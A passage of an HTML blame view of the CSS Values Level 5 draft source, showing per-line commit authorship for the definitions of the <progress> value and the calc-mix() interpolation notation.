href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l323" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1002" id="l1002"> 1002</a> </td> <td class="source"> ''0%'' becomes ''0'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l324" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1003" id="l1003"> 1003</a> </td> <td class="source"> ''100%'' becomes ''1'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l325" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1004" id="l1004"> 1004</a> </td> <td class="source"> etc. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l281" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1005" id="l1005"> 1005</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l327" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1006" id="l1006"> 1006</a> </td> <td class="source"> Note: This only allows literal percentages, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l328" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1007" id="l1007"> 1007</a> </td> <td class="source"> like ''15%''; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l329" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1008" id="l1008"> 1008</a> </td> <td class="source"> calculations like ''calc(100% / 7)'' will not work, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l330" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1009" id="l1009"> 1009</a> </td> <td class="source"> as they will instead attempt to use the normal rules </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l331" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1010" id="l1010"> 1010</a> </td> <td class="source"> for resolving a percentage against another type </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l332" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1011" id="l1011"> 1011</a> </td> <td class="source"> (such as <<length>>, in 'width'). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l333" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1012" id="l1012"> 1012</a> </td> <td class="source"> Use expressions like ''calc(1 / 7)'' instead. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l334" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1013" id="l1013"> 1013</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l282" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1014" id="l1014"> 1014</a> </td> <td class="source"> <dt><dfn><<number>></dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l283" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1015" id="l1015"> 1015</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l329" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1016" id="l1016"> 1016</a> </td> <td class="source"> Represents the [=mix progress value=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l330" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1017" id="l1017"> 1017</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l285" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1018" id="l1018"> 1018</a> </td> <td class="source"> Note: This allows the use of the ''progress()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l286" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1019" id="l1019"> 1019</a> </td> <td class="source"> ''media-progress()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l287" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1020" id="l1020"> 1020</a> </td> <td class="source"> and ''container-progress()'' notations. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l288" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1021" id="l1021"> 1021</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l289" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1022" id="l1022"> 1022</a> </td> <td class="source"> <dt><dfn><<'animation-timeline'>></dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l290" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1023" id="l1023"> 1023</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l291" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1024" id="l1024"> 1024</a> </td> <td class="source"> Represents the [=mix progress value=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l292" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1025" id="l1025"> 1025</a> </td> <td class="source"> as the progress of the specified [[web-animations-1#timelines|animation timeline]]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l293" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1026" id="l1026"> 1026</a> </td> <td class="source"> The values ''animation-timeline/none'' and ''animation-timeline/auto'', however, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l294" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1027" id="l1027"> 1027</a> </td> <td class="source"> are invalid. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l295" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1028" id="l1028"> 1028</a> </td> <td class="source"> [[!CSS-ANIMATIONS-2]] [[!WEB-ANIMATIONS-2]] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l296" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1029" id="l1029"> 1029</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l297" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1030" id="l1030"> 1030</a> </td> <td class="source"> <dt><dfn><<easing-function>></dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l298" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1031" id="l1031"> 1031</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l299" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1032" id="l1032"> 1032</a> </td> <td class="source"> Converts the specified input [=mix progress value=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l300" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1033" id="l1033"> 1033</a> </td> <td class="source"> into an output [=mix progress value=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l301" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1034" id="l1034"> 1034</a> </td> <td class="source"> using the specified [=easing function=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l302" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1035" id="l1035"> 1035</a> </td> <td class="source"> [[!CSS-EASING-1]] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l303" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1036" id="l1036"> 1036</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l304" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1037" id="l1037"> 1037</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l360" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1038" id="l1038"> 1038</a> </td> <td class="source"> Note: Progress values below ''0'' and above ''1'' are valid; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l306" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1039" id="l1039"> 1039</a> </td> <td class="source"> they allow representing interpolation beyond the range </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l307" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1040" id="l1040"> 1040</a> </td> <td class="source"> defined by the start and end values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l308" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1041" id="l1041"> 1041</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l363" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1042" id="l1042"> 1042</a> </td> <td class="source"> Note: While <<progress>> itself can be a <<percentage>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l364" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1043" id="l1043"> 1043</a> </td> <td class="source"> mapping directly to the equivalent <<number>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l365" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1044" id="l1044"> 1044</a> </td> <td class="source"> a function that <em>resolves</em> to a <<number>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l366" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1045" id="l1045"> 1045</a> </td> <td class="source"> like ''progress()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l367" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1046" id="l1046"> 1046</a> </td> <td class="source"> resolves <<percentage>>s using the normal rules for the context; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l368" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1047" id="l1047"> 1047</a> </td> <td class="source"> for example, in 'width', they would be resolved against a length. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a02819d179a1/css-values-5/Overview.bs#l369" title="a02819d179a1: [css-values-5] Tweak the wording of <progress> to only allow literal percentage tokens to be equivalent to a number. #10017">jackalmage@30993</a> </td> <td class="lineno"> <a href="#l1048" id="l1048"> 1048</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l309" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1049" id="l1049"> 1049</a> </td> <td class="source"> The [=computed value=] of a <<progress>> value specified with <<percentage>> or <<number>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l365" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1050" id="l1050"> 1050</a> </td> <td class="source"> is the computed <<number>> converted through the <<easing-function>> (if any). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l311" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1051" id="l1051"> 1051</a> </td> <td class="source"> The [=computed value=] of a <<progress>> value specified with <<'animation-timeline'>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l312" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1052" id="l1052"> 1052</a> </td> <td class="source"> is the computed <<'animation-timeline'>> and <<easing-function>> (if any). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l313" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1053" id="l1053"> 1053</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l314" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1054" id="l1054"> 1054</a> </td> <td class="source"><h3 id="calc-mix"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l315" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1055" id="l1055"> 1055</a> </td> <td class="source">Interpolated Numeric and Dimensional Values: the ''calc-mix()'' notation</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l316" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1056" id="l1056"> 1056</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l317" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1057" id="l1057"> 1057</a> </td> <td class="source"> The <dfn>calc-mix()</dfn> [=mix notation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l318" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1058" id="l1058"> 1058</a> </td> <td class="source"> represents an interpolated numeric or dimensional value. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l319" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1059" id="l1059"> 1059</a> </td> <td class="source"> Like ''calc()'', it is a [=math function=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l320" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1060" id="l1060"> 1060</a> </td> <td class="source"> with the following syntactic form: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l321" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1061" id="l1061"> 1061</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l322" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1062" id="l1062"> 1062</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l323" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1063" id="l1063"> 1063</a> </td> <td class="source"> <dfn><<calc-mix()>></dfn> = calc-mix( <<progress>>, <<calc-sum>>, <<calc-sum>> ) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l324" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1064" id="l1064"> 1064</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l325" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1065" id="l1065"> 1065</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l326" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1066" id="l1066"> 1066</a> </td> <td class="source"> The <<calc-sum>> arguments can resolve </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l327" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1067" id="l1067"> 1067</a> </td> <td class="source"> to any <<number>>, <<dimension>>, or <<percentage>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/022e1bf4f266/css-values-5/Overview.bs#l370" title="022e1bf4f266: [css-values-5] Set the types correctly for progress fucntions and calc-mix(). #10017">jackalmage@30986</a> </td> <td class="lineno"> <a href="#l1068" id="l1068"> 1068</a> </td> <td class="source"> but must have a [=consistent type=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l329" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1069" id="l1069"> 1069</a> </td> <td class="source"> or else the function is invalid. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l385" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1070" id="l1070"> 1070</a> </td> <td class="source"> The result's type will be the [=consistent type=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l386" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1071" id="l1071"> 1071</a> </td> <td class="source"> [=made consistent=] with the type of the <<progress>> value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l330" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1072" id="l1072"> 1072</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l331" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1073" id="l1073"> 1073</a> </td> <td class="source"> The [=used value=] of a valid ''calc-mix()'' is </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l332" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1074" id="l1074"> 1074</a> </td> <td class="source"> the result of interpolating these two values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l333" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1075" id="l1075"> 1075</a> </td> <td class="source"> to the progress given by <<progress>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l391" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1076" id="l1076"> 1076</a> </td> <td class="source"> If the <<progress>> value can be computed to a <<number>>, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l335" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1077" id="l1077"> 1077</a> </td> <td class="source"> then the [=computed value=] is likewise </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l336" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1078" id="l1078"> 1078</a> </td> <td class="source"> the result of interpolating the two [=computed values=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l394" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1079" id="l1079"> 1079</a> </td> <td class="source"> to that <<progress>> value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/6ab6217f461b/css-values-5/Overview.bs#l395" title="6ab6217f461b: [css-values-5] Make progress functions all return numbers *with* a percent hint if needed. Allow <progress> to accept that. Mix in the <progress> percent hint into the value of calc-mix().">jackalmage@30988</a> </td> <td class="lineno"> <a href="#l1080" id="l1080"> 1080</a> </td> <td class="source"> (in other words, ''A * (1-progress) + B * progress'') </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l338" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1081" id="l1081"> 1081</a> </td> <td class="source"> it is otherwise the ''calc-mix()'' notation itself </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l339" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1082" id="l1082"> 1082</a> </td> <td class="source"> with its arguments each computed according to their type. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l340" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1083" id="l1083"> 1083</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l341" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1084" id="l1084"> 1084</a> </td> <td class="source"><h3 id="color-mix"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/c074dd45d197/css-values-5/Overview.bs#l342" title="c074dd45d197: [css-values-5][editorial] Fix heading">jackalmage@30483</a> </td> <td class="lineno"> <a href="#l1085" id="l1085"> 1085</a> </td> <td class="source">Interpolated Color Values: the ''color-mix()'' notation</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/92baec39cc6c/css-values-5/Overview.bs#l343" title="92baec39cc6c: [css-values-5] Initial draft of value interpolation functions #6245">fantasai@30427</a> </td> <td class="lineno"> <a href="#l1086" id="l1086"> 1086</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td 